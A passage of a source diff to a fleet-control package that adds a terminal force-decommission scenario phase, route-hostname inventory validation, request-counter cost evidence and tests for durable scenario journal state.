roles(value.proofs.terminalForce, ['a'], (proof) => ({ + ...pick(proof, ['databaseId', 'scriptName', 'ordinal']), + attempts: pick(proof.attempts, [ + 'provider', + 'maintenance', + 'application', + ]), + })), })), teardown: nullable(teardown, (value) => ({ failure: value.failure, @@ -205,7 +218,16 @@ export function buildDirectEvidence({ ? null : (bootstrap?.active?.versionId ?? null), }, - cost: 'unknown', + cost: { + basis: 'request-counters', + referenceProvider: scenario?.attempts.provider ?? null, + referenceMaintenance: scenario?.attempts.maintenance ?? null, + referenceApplication: scenario?.attempts.application ?? null, + sdkRequests: scenario?.sdkRequests ?? null, + referenceInvocations: snapshot.invocationCount, + teardownProvider: teardown?.providerRequests ?? null, + billed: null, + }, }; } diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index c7b42ea8..5f9d1179 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -313,6 +313,7 @@ export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{ databaseIds: number; namespaceIds: number; scriptNames: number; + routeHostnames: number; bucketNames: number; findings: number; }>; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 1ead85ba..dbb766fb 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -52,6 +52,7 @@ export const DIRECT_SCENARIO_ARRAY_MAXIMA = Object.freeze({ databaseIds: 2, namespaceIds: 4, scriptNames: 2, + routeHostnames: 2, bucketNames: 2, findings: 32, }), @@ -429,6 +430,18 @@ const scenarioId = (value) => { invalid(); return value; }; +const scenarioHostname = (value) => { + if ( + typeof value !== 'string' || + value.length > 253 || + !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+$/u.test( + value, + ) || + !/[a-z]/u.test(value) + ) + invalid(); + return value; +}; const scenarioEnum = (...values) => (value) => { @@ -684,6 +697,9 @@ const callShape = { step: scenarioId, itemsSha256: digest, }), + before: optional( + nullable({ databaseId: scenarioId, scriptName: scenarioId }), + ), }; const inventoryShape = { operationId: scenarioId, @@ -701,6 +717,10 @@ const inventoryShape = { scenarioId, DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.scriptNames, ), + routeHostnames: boundedArray( + scenarioHostname, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.routeHostnames, + ), bucketNames: boundedArray( scenarioId, DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.bucketNames, @@ -929,6 +949,14 @@ function decodeScenario(value, invocationCount) { a: nullable(decommissionShape), b: nullable(decommissionShape), }, + terminalForce: { + a: nullable({ + databaseId: scenarioId, + scriptName: scenarioId, + ordinal: scenarioNumber, + attempts: attemptsShape, + }), + }, force: nullable(footprintShape), residual: nullable(footprintShape), }, @@ -947,7 +975,9 @@ function decodeScenario(value, invocationCount) { if ( call.ordinal > invocationCount + (call.outcome === 'prepared' ? 1 : 0) || call.ordinal < 1 || - (call.outcome === 'prepared') !== (call.attempts === null) + (call.outcome === 'prepared') !== (call.attempts === null) || + Object.hasOwn(call, 'before') !== + (call.action.kind === 'force-terminal' && call.outcome !== 'prepared') ) invalid(); } @@ -1030,6 +1060,7 @@ function validateScenarioProofs(state, invocationCount) { need(proof.restart?.replayOrdinal && proof.restart.resumedProcess); if (past('migration')) need(proof.effects.length === 2); if (past('cleanup-recovery')) need(proof.cleanup); + if (past('force-terminal-a')) need(proof.terminalForce.a); if (past('force-recovery')) need(proof.recoveryExportAbsent.beforeOrdinal > 0); if (past('force-observe')) @@ -1058,6 +1089,7 @@ function validateScenarioProofs(state, invocationCount) { need(['a', 'b'].every((role) => proof.fence.probes[role])); for (const ordinal of [ state.reconciledOrdinal, + proof.terminalForce.a?.ordinal ?? null, ...Object.values(proof.objectDeletions), ...Object.values(proof.recoveryExportAbsent), ...proof.health.map((entry) => entry.ordinal), @@ -1707,6 +1739,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { 'inventories', 'audits', 'decommission', + 'terminalForce', ]) for (const [key, proof] of Object.entries(previous.proofs[group])) if (proof !== null) diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts index 401f5622..574332f9 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts @@ -27,6 +27,7 @@ export const DIRECT_SCENARIO_INVOCATION_BUDGET: Readonly<{ 'delete-objects': DirectScenarioPhaseBudget; 'decommission-a': DirectScenarioPhaseBudget; 'decommission-b': DirectScenarioPhaseBudget; + 'force-terminal-a': DirectScenarioPhaseBudget; 'force-recovery': DirectScenarioPhaseBudget; 'force-observe': DirectScenarioPhaseBudget; 'recover-force-residual': DirectScenarioPhaseBudget; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs index 4706d867..742af208 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs @@ -30,6 +30,7 @@ const MEASURED = Object.freeze({ 'delete-objects': 7, 'decommission-a': 70, 'decommission-b': 70, + 'force-terminal-a': 4, 'force-recovery': 6, 'force-observe': 3, 'recover-force-residual': 3, diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs index d51114a6..d8b30fac 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs @@ -87,6 +87,7 @@ export function changedBy(action) { return { slots: [`cleanup-${role}`], roles: [role] }; if (kind.startsWith('decommission-')) return { slots: [`decommission-${role}`], roles: [role] }; + if (kind === 'force-terminal') return { slots: [], roles: [role] }; if (kind === 'force-recovery' || kind === 'recover-force-residual') return { slots: [], roles: ['recovery'] }; return { slots: [], roles: [] }; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts index 37c247b0..c57c46e7 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts @@ -44,6 +44,8 @@ interface ScenarioCall { | 'injected-response-loss' | 'reference-refused'; readonly attempts: DirectInvocationAttempts | null; + /** Settled force-terminal calls require a nullable before identity; prepared and other calls omit it. */ + readonly before?: Readonly<{ databaseId: string; scriptName: string }> | null; readonly migration: Readonly<{ itemOrdinal: 0 | 1; cursor: number; @@ -63,6 +65,7 @@ interface ScenarioInventory { readonly databaseIds: readonly string[]; readonly namespaceIds: readonly string[]; readonly scriptNames: readonly string[]; + readonly routeHostnames: readonly string[]; readonly bucketNames: readonly string[]; readonly findings: readonly Readonly<{ kind: string; @@ -191,6 +194,14 @@ export interface DirectScenarioProofs { }> | null > >; + readonly terminalForce: Readonly<{ + a: Readonly<{ + databaseId: string; + scriptName: string; + ordinal: number; + attempts: DirectInvocationAttempts; + }> | null; + }>; readonly force: DirectScenarioFootprint | null; readonly residual: DirectScenarioFootprint | null; } diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs index cd9607fb..46417f10 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -98,6 +98,7 @@ function initialState(ordinal) { exports: { a: null, b: null }, exportVerifications: [], decommission: { a: null, b: null }, + terminalForce: { a: null }, force: null, residual: null, }, @@ -171,6 +172,21 @@ export async function runDirectCredentialedScenario(input) { outcome: error ? error.code : 'returned', attempts, }; + if (action.kind === 'force-terminal') { + const before = error ? null : response?.result?.before; + requireFact( + before === null || + (typeof before === 'object' && + !Array.isArray(before) && + Object.keys(before).length === 2 && + Object.hasOwn(before, 'databaseId') && + Object.hasOwn(before, 'scriptName') && + typeof before.databaseId === 'string' && + typeof before.scriptName === 'string'), + 'observation-mismatch', + ); + settled.before = before; + } state.lastCall = settled; if (mutates) state.mutation = settled; state.callCount++; @@ -434,6 +450,18 @@ export async function runDirectCredentialedScenario(input) { equal(selected.operationId, result.generation.operationId); equal(selected.generation, result.generation.generation); const observed = selected.inventory; + const routes = NORMAL_ROLES.map((role) => + observed.routes.filter( + (route) => + route.backend === 'plain-worker' && + route.surface === 'custom-domain' && + route.scriptName === prepared.names.roles[role].scriptName, + ), + ); + const routeHostnames = routes + .flatMap((rows) => rows.map((row) => row.hostname)) + .sort(); + equal(routeHostnames.length, 2); const proof = { operationId: selected.operationId, generation: selected.generation, @@ -441,6 +469,7 @@ export async function runDirectCredentialedScenario(input) { databaseIds: [...observed.databaseIds].sort(), namespaceIds: [...observed.namespaceIds].sort(), scriptNames: observed.deployments.map((entry) => entry.scriptName).sort(), + routeHostnames, bucketNames: observed.r2Buckets.map((entry) => entry.bucketName).sort(), findings: observed.findings.map((entry) => ({ kind: entry.kind, @@ -459,10 +488,20 @@ export async function runDirectCredentialedScenario(input) { proof.scriptNames, NORMAL_ROLES.map((role) => prepared.names.roles[role].scriptName).sort(), ); - if (when === 'after') + if (when === 'after') { requireFact( proof.generation > state.proofs.inventories.before.generation, ); + equal( + proof.routeHostnames, + state.proofs.inventories.before.routeHostnames, + ); + for (const [index, role] of NORMAL_ROLES.entries()) + equal( + routes[index].map((row) => row.hostname), + [prepared.names.roles[role].routeHostname], + ); + } state.proofs.inventories[when] = proof; await persist(); await advancePhase(); @@ -1066,6 +1105,60 @@ export async function runDirectCredentialedScenario(input) { case 'decommission-b': await decommission('b'); break; + case 'force-terminal-a': { + if (!state.proofs.terminalForce.a) { + const prior = state.mutation; + const resumed = + prior?.action.kind === 'force-terminal' && + prior.action.role === 'a'; + if (resumed) { + // The force settles and persists its attempts before returning. + // Repeating it answers from the absent-record branch and replaces + // the deleting call's witness with a no-op's zeros. + requireFact( + prior.outcome === 'returned' && prior.attempts !== null, + 'proof-unavailable', + ); + equal(prior.attempts, zeroAttempts()); + equal(prior.before, { + databaseId: state.proofs.decommission.a.databaseId, + scriptName: state.proofs.decommission.a.scriptName, + }); + await sync(); + equal(record('a'), { role: 'a', present: false }); + state.proofs.terminalForce.a = { + databaseId: prior.before.databaseId, + scriptName: prior.before.scriptName, + ordinal: prior.ordinal, + attempts: prior.attempts, + }; + } else { + const result = await mutate({ + kind: 'force-terminal', + role: 'a', + }); + requireFact( + result.returned === true && result.after.present === false, + ); + equal(state.mutation.attempts, zeroAttempts()); + equal(result.before, { + databaseId: state.proofs.decommission.a.databaseId, + scriptName: state.proofs.decommission.a.scriptName, + }); + await sync(); + equal(record('a'), { role: 'a', present: false }); + state.proofs.terminalForce.a = { + databaseId: result.before.databaseId, + scriptName: result.before.scriptName, + ordinal: state.mutation.ordinal, + attempts: state.mutation.attempts, + }; + } + await persist(); + } + await advancePhase(); + break; + } case 'force-recovery': { await sync(); if (control.forceBefore) { @@ -1136,6 +1229,7 @@ export async function runDirectCredentialedScenario(input) { state.proofs.effects.length === 2 && state.proofs.decommission.a && state.proofs.decommission.b && + state.proofs.terminalForce.a && state.proofs.force && state.proofs.residual, ); diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts index 3c9867d0..e0d5ffec 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.d.mts +++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts @@ -18,6 +18,7 @@ export class DirectReferenceRequestError extends Error { export type DirectInventorySlot = 'inventory-before' | 'inventory-after'; export type DirectAuditSlot = 'audit-before' | 'audit-after'; export type DirectReferenceAction = + | Readonly<{ kind: 'force-terminal'; role: 'a' }> | Readonly<{ kind: 'tenant-fence'; role: 'a' | 'b'; diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs index d6719e3e..997f08e3 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.mjs +++ b/packages/fleet-control/scripts/direct-reference-contract.mjs @@ -67,6 +67,10 @@ function actionFromParsed(value) { case 'recover-force-residual': keys(value, ['kind']); break; + case 'force-terminal': + keys(value, ['kind', 'role']); + member(value.role, ['a']); + break; case 'tenant-probe': keys(value, ['kind', 'role', 'operation']); member(value.role, ['a', 'b', 'recovery']); diff --git a/packages/fleet-control/scripts/direct-reference-force.ts b/packages/fleet-control/scripts/direct-reference-force.ts index 48a78cb2..4ba3b228 100644 --- a/packages/fleet-control/scripts/direct-reference-force.ts +++ b/packages/fleet-control/scripts/direct-reference-force.ts @@ -210,6 +210,48 @@ async function readBefore(context: DirectReferenceContext) { return { identity, resource }; } +export async function forceDirectTerminal( + context: DirectReferenceContext, + manifest: DirectRunManifest, + role: 'a', +) { + const names = manifest.names.roles[role]; + const plane = context.createForcePlane(); + const underLease = plane.store.withDeploymentLease.bind(plane.store); + let before: { databaseId: string; scriptName: string } | null = null; + plane.store.withDeploymentLease = (tenantTag, environment, operation) => { + if (tenantTag !== names.tenantTag || environment !== manifest.environment) + throw new DirectReferenceExecutionError(); + return underLease(tenantTag, environment, async (lease) => { + const record = await plane.store.get(tenantTag, environment); + if (record) { + if ( + record.phase !== 'decommissioned' || + (record.decommissionIntent && + record.decommissionIntent.state !== 'complete') || + record.cleanupIntent || + context.roleFor(record) !== role + ) + throw new DirectReferenceExecutionError(); + before = { + databaseId: record.databaseId, + scriptName: record.scriptName, + }; + } + return operation(lease); + }); + }; + await forceDecommissionDeployment({ + backend: plane.backend, + store: plane.store, + tenantTag: names.tenantTag, + environment: manifest.environment, + }); + if (await plane.store.get(names.tenantTag, manifest.environment)) + throw new DirectReferenceExecutionError(); + return { returned: true, before, after: { present: false } }; +} + export async function recoverDirectForce( context: DirectReferenceContext, manifest: DirectRunManifest, diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index a7311e10..4ec496de 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -10,6 +10,7 @@ import { import type { DirectReferenceAction } from './direct-reference-contract.mjs'; import { dispatchDirectFence } from './direct-reference-fence.js'; import { + forceDirectTerminal, observeDirectForce, recoverDirectForce, recoverDirectForceResidual, @@ -210,6 +211,8 @@ async function dispatch( return probeDirectTenant(context, manifest, action, signal); if (action.kind === 'tenant-fence') return dispatchDirectFence(context, manifest, action, signal); + if (action.kind === 'force-terminal') + return forceDirectTerminal(context, manifest, action.role); if ('role' in action) return dispatchDirectLifecycle(context, manifest, action, signal); if ( diff --git a/packages/fleet-control/test/direct-credentialed-evidence.test.ts b/packages/fleet-control/test/direct-credentialed-evidence.test.ts index 471289af..1537763b 100644 --- a/packages/fleet-control/test/direct-credentialed-evidence.test.ts +++ b/packages/fleet-control/test/direct-credentialed-evidence.test.ts @@ -102,8 +102,41 @@ describe.sequential('direct evidence', () => { 'final', 'fence', 'exports', + 'inventories', + 'terminalForce', ]); + expect(evidence.cost).toEqual({ + basis: 'request-counters', + referenceProvider: snapshot.scenario.attempts.provider, + referenceMaintenance: snapshot.scenario.attempts.maintenance, + referenceApplication: snapshot.scenario.attempts.application, + sdkRequests: snapshot.scenario.sdkRequests, + referenceInvocations: snapshot.invocationCount, + teardownProvider: snapshot.teardown.providerRequests, + billed: null, + }); + for (const key of [ + 'referenceProvider', + 'referenceMaintenance', + 'referenceApplication', + 'sdkRequests', + 'referenceInvocations', + 'teardownProvider', + ]) + expect(object(evidence.cost)[key]).toBeTypeOf('number'); const scenario = object(evidence.scenario); + keys(scenario.inventories, ['before', 'after']); + for (const when of ['before', 'after'] as const) { + keys(object(scenario.inventories)[when], ['routeHostnames']); + expect(object(scenario.inventories)[when]).toEqual({ + routeHostnames: + snapshot.scenario.proofs.inventories[when]?.routeHostnames, + }); + } + keys(scenario.terminalForce, ['a']); + expect(scenario.terminalForce).toEqual( + snapshot.scenario.proofs.terminalForce, + ); expect(scenario.invocationCount).toBe(snapshot.invocationCount); keys(scenario.attempts, ['provider', 'maintenance', 'application']); keys(scenario.phaseCalls, DIRECT_SCENARIO_PHASES); @@ -311,6 +344,8 @@ describe.sequential('direct evidence', () => { }; scenario.proofs.restart = null; scenario.proofs.exports = { a: null, b: null }; + scenario.proofs.inventories = { before: null, after: null }; + scenario.proofs.terminalForce = { a: null }; const input = { snapshot: { ...snapshot, scenario }, prepared: f.prepared, @@ -327,6 +362,8 @@ describe.sequential('direct evidence', () => { final: scenario.proofs.final, fence: scenario.proofs.fence, exports: scenario.proofs.exports, + inventories: scenario.proofs.inventories, + terminalForce: scenario.proofs.terminalForce, restart: null, }); delete scenario.failure.detail; @@ -345,6 +382,16 @@ describe.sequential('direct evidence', () => { ...input, snapshot: { ...older, bootstrap: null }, }); + expect(empty.cost).toEqual({ + basis: 'request-counters', + referenceProvider: null, + referenceMaintenance: null, + referenceApplication: null, + sdkRequests: null, + referenceInvocations: snapshot.invocationCount, + teardownProvider: null, + billed: null, + }); expect(empty).toMatchObject({ startedAt: null, resumeCount: 0, diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 581632eb..31bf0bd8 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -910,6 +910,128 @@ const refuses = (journal: DirectRunJournal, state: MutableScenario) => }); describeLinux('durable scenario state', () => { + it.each([ + 'lastCall', + 'mutation', + ] as const)('round-trips the settled terminal force before identity in %s', async (field) => { + for (const before of [ + null, + { databaseId: 'database-a', scriptName: 'script-a' }, + ]) { + const { f, journal } = await scenarioJournal(); + const state = scenarioWith((state) => { + state[field] = { + ordinal: 3, + action: { kind: 'force-terminal', role: 'a' }, + outcome: 'returned', + attempts: { provider: 0, maintenance: 0, application: 0 }, + migration: null, + before, + }; + }); + await journal.recordScenario(state); + const path = join(f.runDirectory, 'journal.json'); + const serialized = await readFile(path, 'utf8'); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + const decoded = present(resumed.snapshot().scenario?.[field]); + expect(decoded.before).toEqual(before); + expect(Object.isFrozen(decoded)).toBe(true); + if (before !== null) expect(Object.isFrozen(decoded.before)).toBe(true); + expect(`${JSON.stringify(resumed.snapshot())}\n`).toBe(serialized); + await resumed.recordScenario(present(resumed.snapshot().scenario)); + expect(await readFile(path, 'utf8')).toBe(serialized); + } + }); + + it.each([ + ['settled force without before', 'force-terminal', 'returned', {}], + [ + 'prepared force with before', + 'force-terminal', + 'prepared', + { before: null }, + ], + ['non-force with before', 'control-read', 'returned', { before: null }], + [ + 'extra identity key', + 'force-terminal', + 'returned', + { + before: { + databaseId: 'database-a', + scriptName: 'script-a', + extra: true, + }, + }, + ], + [ + 'non-string databaseId', + 'force-terminal', + 'returned', + { before: { databaseId: 1, scriptName: 'script-a' } }, + ], + [ + 'non-string scriptName', + 'force-terminal', + 'returned', + { before: { databaseId: 'database-a', scriptName: null } }, + ], + ] as const)('refuses terminal force call schema violation: %s', async (_title, kind, outcome, witness) => { + for (const field of ['lastCall', 'mutation'] as const) { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + state[field] = { + ordinal: 3, + action: kind === 'force-terminal' ? { kind, role: 'a' } : { kind }, + outcome, + attempts: + outcome === 'prepared' + ? null + : { provider: 0, maintenance: 0, application: 0 }, + migration: null, + }; + Object.assign(present(state[field]), witness); + }), + ); + } + }); + + it.each([ + ['prepared force', 'force-terminal', 'prepared', {}], + ['returned non-force', 'control-read', 'returned', {}], + [ + 'lost force response', + 'force-terminal', + 'injected-response-loss', + { before: null }, + ], + ['refused force', 'force-terminal', 'reference-refused', { before: null }], + ] as const)('accepts the before-field rule for %s', async (_title, kind, outcome, witness) => { + const { journal } = await scenarioJournal(); + const call: NonNullable = { + ordinal: 3, + action: kind === 'force-terminal' ? { kind, role: 'a' } : { kind }, + outcome, + attempts: + outcome === 'prepared' + ? null + : { provider: 0, maintenance: 0, application: 0 }, + migration: null, + ...witness, + }; + await journal.recordScenario( + scenarioWith((state) => { + state.lastCall = call; + state.mutation = call; + }), + ); + expect(journal.snapshot().scenario?.lastCall).toEqual(call); + expect(journal.snapshot().scenario?.mutation).toEqual(call); + }); + it('projects and round-trips a drain summary with both expected counters', async () => { const action = { kind: 'tenant-fence' as const, @@ -923,6 +1045,8 @@ describeLinux('durable scenario state', () => { const state = scenarioWith((value) => { present(value.lastCall).action = action; present(value.mutation).action = action; + delete present(value.lastCall).before; + delete present(value.mutation).before; }); await journal.recordScenario(state); await closed(journal); @@ -939,6 +1063,7 @@ describeLinux('durable scenario state', () => { await refuses( journal, scenarioWith((state) => { + delete present(state.lastCall).before; present(state.lastCall).action = { kind: 'tenant-fence', role: 'a', @@ -1216,16 +1341,75 @@ describeLinux('durable scenario state', () => { ); }); + it('validates terminal force and freezes its proof after publication', async () => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + state.proofs.terminalForce = { a: null }; + await journal.recordScenario(state); + const proof = { + databaseId: 'database-a', + scriptName: 'script-a', + ordinal: 3, + attempts: { provider: 0, maintenance: 0, application: 0 }, + }; + state.proofs.terminalForce.a = proof; + await journal.recordScenario(state); + expect(journal.snapshot().scenario?.proofs.terminalForce.a).toEqual(proof); + for (const replacement of [ + null, + { ...proof, databaseId: 'foreign' }, + { ...proof, attempts: { ...proof.attempts, provider: 1 } }, + ]) { + state.proofs.terminalForce.a = replacement; + await refuses(journal, state); + } + const fresh = await scenarioJournal(); + for (const malformed of [ + { ...proof, ordinal: -1 }, + { ...proof, ordinal: 4 }, + { ...proof, attempts: { provider: -1, maintenance: 0, application: 0 } }, + ]) { + state.proofs.terminalForce.a = malformed; + await refuses(fresh.journal, state); + } + }); + + it('bounds inventory route hostnames by count and DNS length', async () => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + const inventory = present(state.proofs.inventories.before); + inventory.routeHostnames = ['a.example.test', 'b.example.test']; + await journal.recordScenario(state); + inventory.routeHostnames.push('c.example.test'); + await refuses(journal, state); + const fresh = await scenarioJournal(); + inventory.routeHostnames = [ + [63, 63, 63, 62].map((length) => 'a'.repeat(length)).join('.'), + ]; + expect(inventory.routeHostnames[0]).toHaveLength(254); + await refuses(fresh.journal, state); + }); + it('publishes a maximal scenario inside the journal byte bound', async () => { const { f, journal } = await scenarioJournal(); + await journal.recordScenario(maximalScenario('audit-page')); + const migrationBytes = Buffer.byteLength( + await readFile(join(f.runDirectory, 'journal.json'), 'utf8'), + ); + process.stdout.write( + `A1_MAXIMAL_SCENARIO_JOURNAL_BYTES audit-page-migration ${migrationBytes}\n`, + ); await journal.recordScenario(maximalScenario()); const serialized = await readFile( join(f.runDirectory, 'journal.json'), 'utf8', ); - console.log( - 'A1_MAXIMAL_SCENARIO_JOURNAL_BYTES', - Buffer.byteLength(serialized), + process.stdout.write( + `A1_MAXIMAL_SCENARIO_JOURNAL_BYTES force-terminal ${Buffer.byteLength(serialized)}\n`, + ); + expect(Buffer.byteLength(serialized)).toBeGreaterThan(migrationBytes); + process.stdout.write( + `A1_MAXIMAL_SCENARIO_JOURNAL_FREE_BYTES ${DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized)}\n`, ); expect(Buffer.byteLength(serialized)).toBeLessThan( DIRECT_RUN_MAX_JOURNAL_BYTES - 118 * 1024, @@ -1414,6 +1598,7 @@ describeLinux('durable scenario state', () => { 'inventory.databaseIds': inventory.databaseIds, 'inventory.namespaceIds': inventory.namespaceIds, 'inventory.scriptNames': inventory.scriptNames, + 'inventory.routeHostnames': inventory.routeHostnames, 'inventory.bucketNames': inventory.bucketNames, 'inventory.findings': inventory.findings, }; @@ -1852,13 +2037,11 @@ describeLinux('durable teardown state', () => { join(f.runDirectory, 'journal.json'), 'utf8', ); - console.log( - 'A1_COMPLETE_TEARDOWN_JOURNAL_BYTES', - Buffer.byteLength(serialized), + process.stdout.write( + `A1_COMPLETE_TEARDOWN_JOURNAL_BYTES ${Buffer.byteLength(serialized)}\n`, ); - console.log( - 'A1_COMPLETE_TEARDOWN_JOURNAL_FREE_BYTES', - DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized), + process.stdout.write( + `A1_COMPLETE_TEARDOWN_JOURNAL_FREE_BYTES ${DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized)}\n`, ); expect( DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized), diff --git a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts index bbe9b04a..750d50b2 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts @@ -448,6 +448,10 @@ describe('scenario reconciliation allowance', () => { expect( changedBy({ kind: 'tenant-probe', role: 'a', operation: 'object-put' }), ).toEqual({ slots: [], roles: [] }); + expect(changedBy({ kind: 'force-terminal', role: 'a' })).toEqual({ + slots: [], + roles: ['a'], + }); expect(changedBy({ kind: 'control-read' })).toEqual({ slots: [], roles: [], @@ -476,6 +480,7 @@ const DECLARED_PHASES = [ 'delete-objects', 'decommission-a', 'decommission-b', + 'force-terminal-a', 'force-recovery', 'force-observe', 'recover-force-residual', @@ -600,6 +605,8 @@ describe('scenario invocation budget', () => { ['inventory-after', 'audit-after'], ['migration-interrupt', 'migration-restart'], ['cleanup-recovery', 'provision-recovery'], + ['decommission-b', 'force-terminal-a'], + ['force-terminal-a', 'force-recovery'], ['force-recovery', 'force-observe'], ['force-observe', 'recover-force-residual'], ] as const) @@ -642,13 +649,13 @@ describe('scenario invocation budget', () => { reserve: 132, ceiling: 216, }); - expect(phaseInvocationReserve('migration')).toBe(508); + expect(phaseInvocationReserve('migration')).toBe(516); const overspent = { ...calls, migration: 200 }; expect( - refusal(() => checkInvocationHeadroom('migration', overspent, 376)), + refusal(() => checkInvocationHeadroom('migration', overspent, 384)), ).toBe('accepted'); expect( - cause(() => checkInvocationHeadroom('migration', overspent, 375)), + cause(() => checkInvocationHeadroom('migration', overspent, 383)), ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' }); }); diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts index 3ed8eaff..371fa8a5 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts @@ -39,6 +39,7 @@ import { cleanupDirectRunState, type MutableScenario, PROCESS, + present, RESUMED, scenarioJournal, scenarioWith, @@ -764,6 +765,23 @@ describe.sequential('fixed Node scenario through native reference dispatch', { expect(history.filter((entry) => entry.verified)).toEqual(history); expect(history.at(-1)).toEqual(proofs.exports[role]); } + expect(proofs.terminalForce.a).toEqual({ + databaseId: proofs.decommission.a?.databaseId, + scriptName: proofs.decommission.a?.scriptName, + ordinal: expect.any(Number), + attempts: { provider: 0, maintenance: 0, application: 0 }, + }); + expect(proofs.inventories.after?.routeHostnames).toEqual( + proofs.inventories.before?.routeHostnames, + ); + expect(proofs.inventories.after?.routeHostnames).toEqual( + ['a', 'b'] + .map( + (role) => + f.local.prepared.names.roles[role as 'a' | 'b'].routeHostname, + ) + .sort(), + ); expect(proofs.effects).toHaveLength(2); expect(proofs.inventories.before?.calls).toBeGreaterThan(1); expect(proofs.inventories.after?.generation).toBeGreaterThan( @@ -802,6 +820,9 @@ describe.sequential('fixed Node scenario through native reference dispatch', { DIRECT_SCENARIO_INVOCATION_BUDGET; const phaseCalls: Record = JSON.parse(serialized).scenario.phaseCalls; + process.stdout.write( + `A1_TERMINAL_FORCE_PHASE_CALLS ${phaseCalls['force-terminal-a']}\n`, + ); for (const phase of ['fence-drain', 'fence-reopen', 'fence-proofs']) { expect(phaseCalls[phase]).toBe(9); process.stdout.write(`A1_PHASE_CALLS ${phase} ${phaseCalls[phase]}\n`); @@ -1289,11 +1310,17 @@ describe('scenario resume re-entry against a settled journal', () => { }); } - const settledCall = (kind: string, outcome: string, ordinal: number) => ({ + const settledCall = ( + kind: string, + outcome: string, + ordinal: number, + action: Record = {}, + attempts = { provider: 0, maintenance: 0, application: 0 }, + ) => ({ ordinal, - action: { kind }, + action: { kind, ...action }, outcome, - attempts: { provider: 0, maintenance: 0, application: 0 }, + attempts, migration: null, }); @@ -1330,6 +1357,193 @@ describe('scenario resume re-entry against a settled journal', () => { return state; }; + it.each([ + ['interrupted at mutation settlement', 0, false, 'matching'], + ['persisted nonzero-attempt witness', 1, false, 'matching'], + ['interrupted at proof persistence', 0, true, 'matching'], + ['persisted absent-row no-op witness', 0, false, 'absent'], + ['persisted foreign before identity', 0, false, 'foreign'], + ] as const)('terminal force resume: %s', async (_title, provider, persisted, identity) => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const attempts = { provider, maintenance: 0, application: 0 }; + const state = seed('force-terminal-a', (state) => { + state.mutation = settledCall( + 'force-terminal', + 'returned', + 3, + { role: 'a' }, + attempts, + ) as MutableScenario['mutation']; + present(state.mutation).before = + identity === 'absent' + ? null + : { + databaseId: + identity === 'foreign' + ? 'foreign-database' + : 